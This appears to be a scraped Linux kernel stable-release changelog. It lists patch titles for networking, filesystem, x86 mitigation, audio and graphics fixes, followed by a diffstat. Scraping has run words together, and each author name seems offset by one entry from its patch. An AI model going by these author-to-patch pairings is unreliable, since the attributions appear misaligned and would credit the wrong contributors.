soc: aspeed: socinfo: Add kfree for kstrdupZev Weiss <[email protected]>
soc: aspeed: uart-routing: Use__sysfs_match_stringNinad Naik <[email protected]>
pinctrl: qcom: Addintr_target_widthfield to support increased number of interrupt targetsStefan Binding <[email protected]>
ALSA: hda/realtek: Add quirks for HP G11 LaptopsJerome Brunet <[email protected]>
ASoC: meson: axg-tdm-formatter: fix channel slot allocationZhang Shurong <[email protected]>
ASoC: rt5665: add missedregulator_bulk_disableAlexander Stein <[email protected]>
arm64: dts: imx93: Fix anatop node sizeBard Liao <[email protected]>
ASoC: max98363: don't return on success reading revision IDXiaolei Wang <[email protected]>
ARM: dts: imx: Set default tuning step for imx6sx usdhcFabio Estevam <[email protected]>
arm64: dts: imx8mm: Drop CSI1 PHY reference clock configurationXiaolei Wang <[email protected]>
ARM: dts: imx: Set default tuning step for imx7d usdhcStefan Wahren <[email protected]>
ARM: dts: imx: Adjust dma-apbh node nameAndrej Picej <[email protected]>
ARM: dts: imx6: phytec: fix RTC interrupt levelChristopher Obbard <[email protected]>
arm64: dts: rockchip: Disable HS400 for eMMC on ROCK 4C+Christopher Obbard <[email protected]>
arm64: dts: rockchip: Disable HS400 for eMMC on ROCK Pi 4Dmitry Baryshkov <[email protected]>
arm64: dts: qcom: qrb5165-rb5: fix thermal zone conflictTony Lindgren <[email protected]>
bus: ti-sysc: Flush posted write on enable before resetMarcin Szycik <[email protected]>
ice: Block switchdev mode when ADQ is active and vice versaManish Chopra <[email protected]>
qede: fix firmware halt over suspend and resumeEric Dumazet <[email protected]>
net: do not allowgso_sizeto be set toGSO_BY_FRAGSAbel Wu <[email protected]>
sock: Fix misuse ofsk_under_memory_pressure()Edward Cree <[email protected]>
sfc: don't fail probe if MAE/TC setup failsEdward Cree <[email protected]>
sfc: don't unregisterflow_indrif it was never registeredEdward Cree <[email protected]>
sfc: add fallback action-set-lists for TC offloadAlfred Lee <[email protected]>
net: dsa: mv88e6xxx: Wait for EEPROM done before HW resetKarol Herbst <[email protected]>
drm/nouveau/disp: fix use-after-free in error handling ofnouveau_connector_createDragos Tatulea <[email protected]>
net/mlx5e: XDP, Fix fifo overrun onXDP_REDIRECTAndrii Staikov <[email protected]>
i40e: fix misleading debug logsPiotr Gardocki <[email protected]>
iavf: fix FDIR rule fields masks validationJakub Kicinski <[email protected]>
net: openvswitch: reject negative ifindexZiyang Xuan <[email protected]>
team: Fix incorrect deletion ofETH_P_8021ADprotocol vid from slavesJustin Chen <[email protected]>
net: phy: broadcom: stub c45 read/write for 54810Pablo Neira Ayuso <[email protected]>
netfilter:nft_dynset: disallow object mapsPablo Neira Ayuso <[email protected]>
netfilter:nf_tables: GC transaction race with netns dismantlePablo Neira Ayuso <[email protected]>
netfilter:nf_tables: fix GC transaction races with netns and netlink event exit pathSishuai Gong <[email protected]>
ipvs: fix racy memcpy inproc_do_sync_thresholdXin Long <[email protected]>
netfilter: set default timeout to 3 secs for sctp shutdown send and recv stateFlorian Westphal <[email protected]>
netfilter:nf_tables: don't fail inserts if duplicate has expiredFlorian Westphal <[email protected]>
netfilter:nf_tables: deactivate catchall elements in next generationFlorian Westphal <[email protected]>
netfilter:nf_tables: fix false-positive lockdep splatDan Carpenter <[email protected]>
accel/qaic: Clean up integer overflow checking inmap_user_pages()Pranjal Ramajor Asha Kanojiya <[email protected]>
accel/qaic: Fix slicing memory leakLiang Chen <[email protected]>
net: veth: Page pool creation error handling for existing pools onlyMichal Schmidt <[email protected]>
octeon_ep: cancel queued works in probe error pathMichal Schmidt <[email protected]>
octeon_ep: cancelctrl_mbox_taskafterintr_poll_taskMichal Schmidt <[email protected]>
octeon_ep: canceltx_timeout_tasklater in remove sequenceMichal Schmidt <[email protected]>
octeon_ep: fix timeout value for waiting on mbox responseRadhey Shyam Pandey <[email protected]>
net: macb: In ZynqMP resume always configure PS GTR for non-wakeup sourceVinay Belgaumkar <[email protected]>
drm/i915/guc/slpc: Restore efficient freq earlierLuca Ceresoli <[email protected]>
drm/panel: simple: Fix AUO G121EAN01 panel timings according to the docsPetr Machata <[email protected]>
selftests:mirror_gre_changes: Tighten up the TTL test matchRussell King (Oracle) <[email protected]>
net: phy: fix IRQ-based wake-on-lan over hibernate / power offXiang Yang <[email protected]>
net: pcs: Add missingput_devicecall inmiic_createJason Wang <[email protected]>
virtio-net: set queues afterdriver_okLeon Romanovsky <[email protected]>
xfrm: don't skip free of empty state in acquire policyLeon Romanovsky <[email protected]>
xfrm: delete offloaded policyLin Ma <[email protected]>
xfrm: add forgottennla_policyforXFRMA_MTIMER_THRESHLin Ma <[email protected]>
xfrm: add NULL check inxfrm_update_ae_paramsZhengchao Shao <[email protected]>
ip_vti: fix potential slab-use-after-free indecode_session6Zhengchao Shao <[email protected]>
ip6_vti: fix slab-use-after-free indecode_session6Zhengchao Shao <[email protected]>
xfrm: fix slab-use-after-free indecode_session6Herbert Xu <[email protected]>
xfrm: Silence warnings triggerable by bad packetsLin Ma <[email protected]>
net: xfrm: AmendXFRMA_SEC_CTXnla_policystructureLin Ma <[email protected]>
net:af_key: fixsadb_x_filtervalidationLin Ma <[email protected]>
net: xfrm: Fixxfrm_address_filterOOB readBorislav Petkov (AMD) <[email protected]>
x86/srso: Correct the mitigation status when SMT is disabledPetr Pavlu <[email protected]>
x86/retpoline,kprobes: Skip optprobe check for indirect jumps with retpolines and IBTPetr Pavlu <[email protected]>
x86/retpoline,kprobes: Fix position of thunk sections withCONFIG_LTO_CLANGBorislav Petkov (AMD) <[email protected]>
x86/srso: Disable the mitigation on unaffected configurationsBorislav Petkov (AMD) <[email protected]>
x86/CPU/AMD: Fix the DIV(0) initial fix attemptSean Christopherson <[email protected]>
x86/retpoline: Don't clobber RFLAGS duringsrso_safe_ret()Peter Zijlstra <[email protected]>
x86/static_call: Fix __static_call_fixup()Peter Zijlstra <[email protected]>
objtool/x86: Fixup frame-pointer vs rethunkBorislav Petkov (AMD) <[email protected]>
x86/srso: Explain the untraining sequences a bit morePeter Zijlstra <[email protected]>
x86/cpu/kvm: ProvideUNTRAIN_RET_VMPeter Zijlstra <[email protected]>
x86/cpu: Cleanup the untrain messPeter Zijlstra <[email protected]>
x86/cpu: Rename srso_(.*)_alias to srso_alias_\1Peter Zijlstra <[email protected]>
x86/cpu: Rename original retbleed methodsPeter Zijlstra <[email protected]>
x86/cpu: Clean up SRSO return thunk messPeter Zijlstra <[email protected]>
x86/alternative: Make custom return thunk unconditionalPeter Zijlstra <[email protected]>
objtool/x86: Fix SRSO messPeter Zijlstra <[email protected]>
x86/cpu: Fix up srso_safe_ret() and __x86_return_thunk()Peter Zijlstra <[email protected]>
x86/cpu: Fix__x86_return_thunksymbol typeTam Nguyen <[email protected]>
i2c: designware: Handle invalid SMBus block data response length valueQuan Nguyen <[email protected]>
i2c: designware: Correct length byte validation logicChris Mason <[email protected]>
btrfs: only subtract fromlen_to_oe_boundarywhen it is tracking an extentAnand Jain <[email protected]>
btrfs: fix replace/scrub failure withmetadata_uuidxiaoshoukui <[email protected]>
btrfs: fixBUG_ONcondition inbtrfs_cancel_balanceJosef Bacik <[email protected]>
btrfs: fix incorrect splitting inbtrfs_drop_extent_map_rangeFilipe Manana <[email protected]>
btrfs: fix infinite directory readsSherry Sun <[email protected]>
tty: serial:fsl_lpuart: Clear the error flags by writing 1 for lpuart32 platformsYi Yang <[email protected]>
tty:n_gsm: fix the UAF caused by race condition ingsm_cleanup_muxSteve French <[email protected]>
smb3: display network namespace in debug informationDragos Tatulea <[email protected]>
vdpa: Enable strict validation for netlinks opsLin Ma <[email protected]>
vdpa: Add max vqp attr tovdpa_nl_policyfor nlattr length checkLin Ma <[email protected]>
vdpa: Add queue index attr tovdpa_nl_policyfor nlattr length checkLin Ma <[email protected]>
vdpa: Add features attr tovdpa_nl_policyfor nlattr length checkNathan Lynch <[email protected]>
powerpc/rtas_flash: allow user copy to flash block cache objectsChen-Yu Tsai <[email protected]>
media: mtk-jpeg: Set platform driver data earlierYuanjun Gong <[email protected]>
fbdev: mmp: fix value check inmmphw_probe()Ming Lei <[email protected]>
blk-cgroup: hold queue_lock when removing blkg->q_nodeParker Newman <[email protected]>
i2c: tegra: Fix i2c-tegra DMA config option processingYicong Yang <[email protected]>
i2c: hisi: Only handle the interrupt of the driver's transferChengfeng Ye <[email protected]>
i2c: bcm-iproc: Fixbcm_iproc_i2c_isrdeadlock issueQingsong Chen <[email protected]>
rust: macros: vtable: fixHAS_*redefinition (gen_const_name)Steve French <[email protected]>
cifs: fix potential oops incifs_oplock_breakEugenio Pérez <[email protected]>
vdpa/mlx5: Delete control vq iotlb indestroy_mronly when necessaryDragos Tatulea <[email protected]>
vdpa/mlx5: Fix mr->initialized semanticsGal Pressman <[email protected]>
virtio-vdpa: Fix cpumask memory leak invirtio_vdpa_find_vqs()Maxime Coquelin <[email protected]>
vduse: Use proper spinlock for IRQ injectionWolfram Sang <[email protected]>
virtio-mmio: don't break lifecycle ofvm_devAbel Vesa <[email protected]>
regulator: qcom-rpmh: Fix LDO 12 regulator for PM8550Filipe Manana <[email protected]>
btrfs: fix use-after-free of new block group that became unusedNaohiro Aota <[email protected]>
btrfs: move out now unused BG from the reclaim listChen Lin <[email protected]>
ring-buffer: Do not swapcpu_bufferduring resize processAndy Shevchenko <[email protected]>
Bluetooth: MGMT: Use correct address formemcpy()Benjamin Gray <[email protected]>
powerpc/kasan: Disable KCOV in KASAN codeLuke D. Jones <[email protected]>
ALSA: hda/realtek: Add quirk for ASUS ROG GZ301VLuke D. Jones <[email protected]>
ALSA: hda/realtek: Add quirk for ASUS ROG G614JxLuke D. Jones <[email protected]>
ALSA: hda/realtek: Amend G634 quirk to enable rear speakersLuke D. Jones <[email protected]>
ALSA: hda/realtek: Add quirk for ASUS ROG GA402XLuke D. Jones <[email protected]>
ALSA: hda/realtek: Add quirk for ASUS ROG GX650PTuo Li <[email protected]>
ALSA: hda: fix a possible null-pointer dereference due to data race insnd_hdac_regmap_sync()dengxiang <[email protected]>
ALSA: hda/realtek: Add quirks for Unis H3C Desktop B760 & Q760Konstantin Komarov <[email protected]>
fs/ntfs3: Alternative boot if primary boot is corruptedKonstantin Komarov <[email protected]>
fs/ntfs3: Mark ntfs dirty when on-disk struct is corruptedJia-Ju Bai <[email protected]>
fs: ntfs3: Fix possible null-pointer dereferences inmi_read()Edward Lo <[email protected]>
fs/ntfs3: Return error for inconsistent extended attributesEdward Lo <[email protected]>
fs/ntfs3: Enhance sanity check while generatingattr_listshanzhulig <[email protected]>
drm/amdgpu: Fix potential fence use-after-free v2Xiubo Li <[email protected]>
ceph: try to dump the msgs when decoding failsMatthew Anderson <[email protected]>
Bluetooth: btusb: Add MT7922 bluetooth ID for the Asus AllyZhengping Jiang <[email protected]>
Bluetooth: L2CAP: Fix use-after-freeYuechao Zhao <[email protected]>
watchdog:sp5100_tco: support Hygon FCH/SCH (Server Controller Hub)Zhang Shurong <[email protected]>
firewire: net: fix use after free infwnet_finish_incoming_packet()Mika Westerberg <[email protected]>
thunderbolt: Limit Intel Barlow Ridge USB3 bandwidthMika Westerberg <[email protected]>
thunderbolt: Add Intel Barlow Ridge PCI IDArmin Wolf <[email protected]>
pcmcia:rsrc_nonstatic: Fix memory leak innonstatic_release_resource_db()Tuo Li <[email protected]>
gfs2: Fix possible data races ingfs2_show_options()Xu Yang <[email protected]>
usb: chipidea: imx: add missing USB PHY DPDM wakeup settingXu Yang <[email protected]>
usb: chipidea: imx: turn off vbus comparator when suspendXu Yang <[email protected]>
usb: chipidea: imx: don't request QoS for imx8ulpMathias Nyman <[email protected]>
xhci: get rid ofXHCI_PLATquirk that used to prevent MSI setupMika Westerberg <[email protected]>
thunderbolt: Read retimer NVM authentication status priortb_retimer_set_inbound_sbtx()Hans Verkuil <[email protected]>
media: platform: mediatek: vpu: fix NULL ptr dereferenceAvichal Rakesh <[email protected]>
usb: gadget: uvc: queue empty isoc requests if no video buffer is availablePrashanth K <[email protected]>
usb: gadget:u_serial: Avoid spinlock recursion in__gs_console_pushAndrey Konovalov <[email protected]>
media: camss: set VFEbpl_alignmentto 16 for sdm845 and sm8250Yunfei Dong <[email protected]>
media: v4l2-mem2mem: add lock to protect parameternum_rdyLu Hongfei <[email protected]>
led: qcom-lpg: Fix resource leaks infor_each_available_child_of_node()loopsUwe Kleine-König <[email protected]>
serial: stm32: Ignore return value ofuart_remove_one_port()in .remove()Winston Wen <[email protected]>
cifs: fix session state check in reconnect to avoid use-after-free issuePaulo Alcantara <[email protected]>
smb: client: fix warning incifs_smb3_do_mount()Masahiro Yamada <[email protected]>
Revert "[PATCH] uml: export symbols added by GCC hardened"Even Xu <[email protected]>
HID: intel-ish-hid: ipc: Add Arrow Lake PCI device IDPeter Ujfalusi <[email protected]>
ASoC: SOF: core: Free the firmware trace before callingsnd_sof_shutdown()Daniel Miess <[email protected]>
drm/amd/display: Enable dcn314 DPP RCONicholas Kazlauskas <[email protected]>
drm/amd/display: Skip DPP DTO update if root clock is gatedKashyap Desai <[email protected]>
RDMA/bnxt_re: consider timeout of destroy ah as success.Patrisious Haddad <[email protected]>
RDMA/mlx5: Return the firmware result upon destroying QP/RQLang Yu <[email protected]>
drm/amdgpu: unmap and removecsa_vaproperlyAlvin Lee <[email protected]>
drm/amd/display: Apply 60us prefetch for DCFCLK <= 300MhzDaniel Miess <[email protected]>
drm/amd/display: Removev_startupworkaround for dcn3+Lang Yu <[email protected]>
drm/amdgpu: install stub fence into potential unused fence pointersSuravee Suthikulpanit <[email protected]>
iommu/amd: Introduce Disable IRTE Caching Supportstuarthayhurst <[email protected]>
HID: logitech-hidpp: Add USB and Bluetooth IDs for the Logitech G915 TKL KeyboardFei Shao <[email protected]>
HID: i2c-hid: goodix: Add support for "goodix,no-reset-during-suspend" propertyFei Shao <[email protected]>
dt-bindings: input: goodix: Add "goodix,no-reset-during-suspend" propertyMoti Haimovski <[email protected]>
accel/habanalabs: fix mem leak in capture user mappingsOfir Bitton <[email protected]>
accel/habanalabs: add pci health check during heartbeatgaoxu <[email protected]>
dma-remap: use kvmalloc_array/kvfree for larger dma memory remapPierre-Louis Bossart <[email protected]>
ASoC: SOF: Intel: fix SoundWire/HDaudio mutual exclusionGeert Uytterhoeven <[email protected]>
iopoll: Callcpu_relax()in busy loopsUday M Bhat <[email protected]>
ASoC: Intel:sof_sdw: Add support for Rex soundwirePierre-Louis Bossart <[email protected]>
ASoC: Intel:sof_sdw: add quick for Dell SKU 0BDABard Liao <[email protected]>
ASoC: Intel:sof_sdw_rt_sdca_jack_common: testSOF_JACK_JDSRCin_exitOleksij Rempel <[email protected]>
ARM: dts: imx6dl: prtrvt, prtvt7, prti6q, prtwd2: fix USB related warningsLong Li <[email protected]>
RDMA/mana_ib: Use v2 version ofcfg_rx_steer_reqto enable RX coalescingVenkata Prasad Potturu <[email protected]>
ASoC: amd: vangogh: Add check for acp config flags in vangogh platformWolfram Sang <[email protected]>
drm: rcar-du: remove R-Car H3 ES1.* workaroundsKathiravan T <[email protected]>
arm64: dts: qcom: ipq5332: add QFPROM nodeRaphael Gallais-Pou <[email protected]>
drm/stm: ltdc: fix late dereference checkVenkata Prasad Potturu <[email protected]>
ASoC: SOF: amd: Add pci revision id checkSimon Trimmer <[email protected]>
ASoC: cs35l56: Move DSP part string generation so that it is done only onceSumit Gupta <[email protected]>
PCI: tegra194: Fix possible array out of bounds accessPeter Ujfalusi <[email protected]>
ASoC: Intel:sof_sdw: add quirk for LNL RVPBard Liao <[email protected]>
ASoC: Intel:sof_sdw: add quirk for MTL RVPAurabindo Pillai <[email protected]>
Revert "drm/amd/display: disable SubVP + DRR to prevent underflow"Jack Xiao <[email protected]>
drm/amdgpu: fix memory leak in mes self testhackyzh002 <[email protected]>
drm/amdgpu: Fix integer overflow inamdgpu_cs_pass1Longlong Yao <[email protected]>
drm/amdgpu: fix calltrace warning inamddrm_buddy_finiDanilo Krummrich <[email protected]>
drm/scheduler: set entity to NULL indrm_sched_entity_pop_job()Alvin Lee <[email protected]>
drm/amd/display: Update DTBCLK for DCN32Li Yang <[email protected]>
net: phy: at803x: fix the wol setting functionsChristophe JAILLET <[email protected]>
net: phy: at803x: Usedevm_regulator_get_enable_optional()David Howells <[email protected]>
crypto, cifs: fix error handling inextract_iter_to_sg()-------------
Diffstat:
Documentation/admin-guide/hw-vuln/srso.rst | 4 +- Documentation/admin-guide/kernel-parameters.txt | 1 + .../devicetree/bindings/input/goodix,gt7375p.yaml | 9 ++ .../bindings/pinctrl/qcom,sa8775p-tlmm.yaml | 2 +- Documentation/networking/nf_conntrack-sysctl.rst | 4 +- Makefile | 4 +- arch/arm/boot/dts/imx23.dtsi | 2 +- arch/arm/boot/dts/imx28.dtsi | 2 +- arch/arm/boot/dts/imx6dl-prtrvt.dts | 4 + arch/arm/boot/dts/imx6qdl-phytec-mira.dtsi | 2 +- arch/arm/boot/dts/imx6qdl-prti6q.dtsi | 11 +- arch/arm/boot/dts/imx6qdl.dtsi | 2 +- arch/arm/boot/dts/imx6sx.dtsi | 8 +- arch/arm/boot/dts/imx6ul.dtsi | 2 +- arch/arm/boot/dts/imx7s.dtsi | 8 +- arch/arm64/boot/dts/freescale/imx8mm.dtsi | 7 +- arch/arm64/boot/dts/freescale/imx93.dtsi | 2 +- arch/arm64/boot/dts/qcom/ipq5332.dtsi | 7 + arch/arm64/boot/dts/qcom/qrb5165-rb5.dts | 2 +- .../boot/dts/rockchip/rk3399-rock-4c-plus.dts | 3 +- arch/arm64/boot/dts/rockchip/rk3399-rock-pi-4.dtsi | 6 +- arch/arm64/include/asm/fpsimd.h | 4 +- arch/arm64/kernel/fpsimd.c | 6 +- arch/arm64/kernel/ptrace.c | 20 ++- arch/arm64/kernel/signal.c | 2 +- arch/parisc/kernel/entry.S | 47 ++++--- arch/powerpc/kernel/rtas_flash.c | 6 +- arch/powerpc/mm/kasan/Makefile | 1 + arch/riscv/Kconfig | 28 ++-- arch/riscv/include/asm/insn.h | 15 ++- arch/riscv/kernel/compat_vdso/Makefile | 8 +- arch/riscv/kernel/traps.c | 6 +- arch/riscv/lib/uaccess.S | 11 +- arch/um/os-Linux/user_syms.c | 7 - arch/x86/include/asm/entry-common.h | 1 + arch/x86/include/asm/nospec-branch.h | 49 +++---- arch/x86/kernel/alternative.c | 4 - arch/x86/kernel/cpu/amd.c | 1 + arch/x86/kernel/cpu/bugs.c | 29 ++++- arch/x86/kernel/kprobes/opt.c | 40 +++--- arch/x86/kernel/static_call.c | 13 ++ arch/x86/kernel/traps.c | 2 - arch/x86/kernel/vmlinux.lds.S | 22 ++-- arch/x86/kvm/svm/svm.c | 2 + arch/x86/kvm/svm/vmenter.S | 7 +- arch/x86/lib/retpoline.S | 141 ++++++++++++++------- block/blk-cgroup.c | 2 + block/blk-crypto-fallback.c | 36 ++++-- drivers/accel/habanalabs/common/device.c | 15 ++- drivers/accel/habanalabs/common/habanalabs.h | 2 + drivers/accel/habanalabs/common/habanalabs_drv.c | 4 +- drivers/accel/qaic/qaic_control.c | 26 ++-- drivers/accel/qaic/qaic_data.c | 1 + drivers/bluetooth/btusb.c | 3 + drivers/bus/ti-sysc.c | 2 + drivers/firewire/net.c | 6 +- drivers/gpu/drm/amd/amdgpu/amdgpu_cs.c | 8 +- drivers/gpu/drm/amd/amdgpu/amdgpu_csa.c | 38 ++++++ drivers/gpu/drm/amd/amdgpu/amdgpu_csa.h | 3 + drivers/gpu/drm/amd/amdgpu/amdgpu_device.c | 1 + drivers/gpu/drm/amd/amdgpu/amdgpu_fence.c | 41 +++++- drivers/gpu/drm/amd/amdgpu/amdgpu_gfx.c | 9 +- drivers/gpu/drm/amd/amdgpu/amdgpu_irq.c | 1 - drivers/gpu/drm/amd/amdgpu/amdgpu_kms.c | 10 +- drivers/gpu/drm/amd/amdgpu/amdgpu_psp.c | 4 +- drivers/gpu/drm/amd/amdgpu/amdgpu_ring.c | 2 + drivers/gpu/drm/amd/amdgpu/amdgpu_vm.c | 6 +- drivers/gpu/drm/amd/display/amdgpu_dm/amdgpu_dm.c | 5 - .../amd/display/dc/clk_mgr/dcn32/dcn32_clk_mgr.c | 27 ++++ .../gpu/drm/amd/display/dc/dcn20/dcn20_resource.c | 2 +- drivers/gpu/drm/amd/display/dc/dcn31/dcn31_dccg.c | 8 ++ .../gpu/drm/amd/display/dc/dcn314/dcn314_dccg.c | 5 + .../drm/amd/display/dc/dcn314/dcn314_resource.c | 20 +++ .../gpu/drm/amd/display/dc/dml/dcn20/dcn20_fpu.c | 24 +++- .../gpu/drm/amd/display/dc/dml/dcn32/dcn32_fpu.c | 4 - .../amd/display/dc/dml/dcn32/display_mode_vba_32.c | 4 +- .../amd/display/dc/dml/dcn32/display_mode_vba_32.h | 2 +- drivers/gpu/drm/amd/display/dc/inc/hw/dccg.h | 1 + drivers/gpu/drm/amd/include/amd_shared.h | 1 - drivers/gpu/drm/amd/pm/swsmu/amdgpu_smu.c | 4 +- .../drm/amd/pm/swsmu/smu11/sienna_cichlid_ppt.c | 14 +- drivers/gpu/drm/drm_edid.c | 29 ++--- drivers/gpu/drm/i915/display/intel_sdvo.c | 2 +- drivers/gpu/drm/i915/gt/uc/intel_guc_slpc.c | 22 ++-- drivers/gpu/drm/nouveau/nouveau_connector.c | 11 +- drivers/gpu/drm/panel/panel-simple.c | 24 ++-- drivers/gpu/drm/qxl/qxl_drv.h | 2 +- drivers/gpu/drm/qxl/qxl_dumb.c | 5 +- drivers/gpu/drm/qxl/qxl_gem.c | 25 ++-- drivers/gpu/drm/qxl/qxl_ioctl.c | 6 +- drivers/gpu/drm/rcar-du/rcar_du_crtc.c | 37 +----- drivers/gpu/drm/rcar-du/rcar_du_drv.c | 48 ------- drivers/gpu/drm/rcar-du/rcar_du_drv.h | 2 - drivers/gpu/drm/rcar-du/rcar_du_regs.h | 3 +- drivers/gpu/drm/scheduler/sched_entity.c | 6 + drivers/gpu/drm/scheduler/sched_main.c | 4 + drivers/gpu/drm/stm/ltdc.c | 4 +- drivers/hid/hid-logitech-hidpp.c | 4 + drivers/hid/i2c-hid/i2c-hid-of-goodix.c | 16 ++- drivers/hid/intel-ish-hid/ipc/hw-ish.h | 1 + drivers/hid/intel-ish-hid/ipc/pci-ish.c | 1 + drivers/i2c/busses/i2c-bcm-iproc.c | 11 +- drivers/i2c/busses/i2c-designware-master.c | 16 ++- drivers/i2c/busses/i2c-hisi.c | 8 ++ drivers/i2c/busses/i2c-tegra.c | 2 +- drivers/infiniband/hw/bnxt_re/bnxt_re.h | 2 + drivers/infiniband/hw/bnxt_re/ib_verbs.c | 16 ++- drivers/infiniband/hw/bnxt_re/qplib_sp.c | 8 +- drivers/infiniband/hw/bnxt_re/qplib_sp.h | 4 +- drivers/infiniband/hw/mana/qp.c | 5 +- drivers/infiniband/hw/mlx5/qpc.c | 10 +- drivers/iommu/amd/amd_iommu_types.h | 4 + drivers/iommu/amd/init.c | 36 ++++++ drivers/leds/rgb/leds-qcom-lpg.c | 8 +- .../media/platform/mediatek/jpeg/mtk_jpeg_core.c | 4 +- drivers/media/platform/mediatek/vpu/mtk_vpu.c | 6 +- drivers/media/platform/qcom/camss/camss-vfe.c | 6 +- drivers/media/usb/uvc/uvc_v4l2.c | 2 +- drivers/mmc/core/block.c | 7 +- drivers/mmc/host/sdhci_f_sdh30.c | 11 +- drivers/mmc/host/sunplus-mmc.c | 26 ++-- drivers/mmc/host/wbsd.c | 2 - drivers/net/dsa/mv88e6xxx/chip.c | 8 ++ drivers/net/ethernet/cadence/macb_main.c | 9 +- drivers/net/ethernet/intel/i40e/i40e_nvm.c | 16 +-- drivers/net/ethernet/intel/iavf/iavf_ethtool.c | 10 ++ drivers/net/ethernet/intel/iavf/iavf_fdir.c | 77 ++++++++++- drivers/net/ethernet/intel/iavf/iavf_fdir.h | 2 + drivers/net/ethernet/intel/ice/ice_eswitch.c | 6 + drivers/net/ethernet/intel/ice/ice_main.c | 5 + .../ethernet/marvell/octeon_ep/octep_ctrl_net.c | 2 +- .../net/ethernet/marvell/octeon_ep/octep_main.c | 9 +- drivers/net/ethernet/mellanox/mlx5/core/en/xdp.h | 2 + drivers/net/ethernet/mellanox/mlx5/core/en_main.c | 8 +- drivers/net/ethernet/microsoft/mana/mana_en.c | 5 +- drivers/net/ethernet/qlogic/qede/qede_main.c | 10 ++ drivers/net/ethernet/sfc/ef100_nic.c | 2 +- drivers/net/ethernet/sfc/tc.c | 70 +++++++++- drivers/net/ethernet/sfc/tc.h | 9 ++ drivers/net/pcs/pcs-rzn1-miic.c | 10 +- drivers/net/phy/at803x.c | 89 +++++-------- drivers/net/phy/broadcom.c | 13 ++ drivers/net/phy/phy_device.c | 13 +- drivers/net/team/team.c | 4 +- drivers/net/veth.c | 3 +- drivers/net/virtio_net.c | 6 +- drivers/pci/controller/dwc/pcie-tegra194.c | 13 +- drivers/pcmcia/rsrc_nonstatic.c | 2 + drivers/pinctrl/qcom/pinctrl-msm.c | 9 +- drivers/pinctrl/qcom/pinctrl-msm.h | 2 + drivers/pinctrl/qcom/pinctrl-sa8775p.c | 1 + drivers/regulator/da9063-regulator.c | 12 +- drivers/regulator/qcom-rpmh-regulator.c | 2 +- drivers/soc/aspeed/aspeed-socinfo.c | 1 + drivers/soc/aspeed/aspeed-uart-routing.c | 2 +- drivers/thunderbolt/nhi.c | 2 + drivers/thunderbolt/nhi.h | 4 + drivers/thunderbolt/quirks.c | 8 ++ drivers/thunderbolt/retimer.c | 29 +++-- drivers/tty/n_gsm.c | 3 +- drivers/tty/serial/8250/8250_port.c | 1 + drivers/tty/serial/fsl_lpuart.c | 4 +- drivers/tty/serial/stm32-usart.c | 5 +- drivers/usb/chipidea/ci_hdrc_imx.c | 5 + drivers/usb/chipidea/usbmisc_imx.c | 37 +++++- drivers/usb/gadget/function/u_serial.c | 3 + drivers/usb/gadget/function/uvc_video.c | 32 +++-- drivers/usb/host/xhci-histb.c | 12 +- drivers/usb/host/xhci-mtk.c | 6 - drivers/usb/host/xhci-pci.c | 7 - drivers/usb/host/xhci-plat.c | 7 +- drivers/usb/host/xhci-tegra.c | 1 - drivers/usb/host/xhci.h | 2 +- drivers/vdpa/mlx5/core/mlx5_vdpa.h | 2 + drivers/vdpa/mlx5/core/mr.c | 105 ++++++++++----- drivers/vdpa/mlx5/net/mlx5_vnet.c | 4 +- drivers/vdpa/vdpa.c | 9 +- drivers/vdpa/vdpa_user/vduse_dev.c | 8 +- drivers/video/fbdev/mmp/hw/mmp_ctrl.c | 4 +- drivers/virtio/virtio_mmio.c | 5 +- drivers/virtio/virtio_vdpa.c | 2 + drivers/watchdog/sp5100_tco.c | 4 +- fs/btrfs/block-group.c | 12 ++ fs/btrfs/block-group.h | 5 + fs/btrfs/ctree.h | 1 + fs/btrfs/delayed-inode.c | 5 +- fs/btrfs/delayed-inode.h | 1 + fs/btrfs/extent_io.c | 25 +++- fs/btrfs/extent_map.c | 6 +- fs/btrfs/inode.c | 131 +++++++++++-------- fs/btrfs/scrub.c | 3 +- fs/btrfs/volumes.c | 3 +- fs/ceph/mds_client.c | 4 + fs/gfs2/super.c | 26 ++-- fs/netfs/iterator.c | 2 +- fs/ntfs3/frecord.c | 16 ++- fs/ntfs3/fsntfs.c | 2 +- fs/ntfs3/index.c | 6 + fs/ntfs3/ntfs_fs.h | 2 + fs/ntfs3/record.c | 10 +- fs/ntfs3/super.c | 98 ++++++++++---- fs/ntfs3/xattr.c | 1 + fs/smb/client/cifs_debug.c | 10 ++ fs/smb/client/cifsfs.c | 28 ++-- fs/smb/client/file.c | 25 ++-- fs/smb/client/fs_context.c | 4 + fs/smb/client/smb2pdu.c | 6 + include/drm/drm_edid.h | 12 +- include/linux/iopoll.h | 2 + include/linux/virtio_net.h | 4 + include/media/v4l2-mem2mem.h | 18 ++- include/net/mana/mana.h | 4 +- include/net/sock.h | 6 + include/net/xfrm.h | 1 + kernel/dma/remap.c | 4 +- kernel/trace/ring_buffer.c | 14 +- kernel/trace/trace.c | 3 +- net/bluetooth/l2cap_core.c | 5 + net/bluetooth/mgmt.c | 2 +- net/core/sock.c | 2 +- net/ipv4/ip_vti.c | 4 +- net/ipv4/tcp_timer.c | 4 +- net/ipv6/ip6_vti.c | 4 +- net/key/af_key.c | 4 +- net/netfilter/ipvs/ip_vs_ctl.c | 4 + net/netfilter/nf_conntrack_proto_sctp.c | 6 +- net/netfilter/nf_tables_api.c | 44 ++++++- net/netfilter/nft_dynset.c | 3 + net/netfilter/nft_set_pipapo.c | 36 +++--- net/openvswitch/datapath.c | 8 +- net/unix/af_unix.c | 9 +- net/xfrm/xfrm_compat.c | 2 +- net/xfrm/xfrm_input.c | 22 ++-- net/xfrm/xfrm_interface_core.c | 4 +- net/xfrm/xfrm_state.c | 8 +- net/xfrm/xfrm_user.c | 15 ++- rust/macros/vtable.rs | 1 + sound/hda/hdac_regmap.c | 7 +- sound/pci/hda/patch_realtek.c | 58 ++++++++- sound/soc/amd/Kconfig | 1 + sound/soc/amd/vangogh/acp5x.h | 2 + sound/soc/amd/vangogh/pci-acp5x.c | 7 +- sound/soc/codecs/cs35l56.c | 12 +- sound/soc/codecs/max98363.c | 9 +- sound/soc/codecs/rt5665.c | 2 + sound/soc/intel/boards/sof_sdw.c | 35 +++++ sound/soc/intel/boards/sof_sdw_rt711_sdca.c | 3 + sound/soc/meson/axg-tdm-formatter.c | 42 +++--- sound/soc/sof/amd/acp.h | 3 + sound/soc/sof/amd/pci-rmb.c | 3 + sound/soc/sof/amd/pci-rn.c | 3 + sound/soc/sof/core.c | 4 +- sound/soc/sof/intel/hda-dai-ops.c | 13 +- sound/soc/sof/intel/hda-dai.c | 8 +- sound/soc/sof/intel/hda.c | 12 +- sound/soc/sof/intel/hda.h | 2 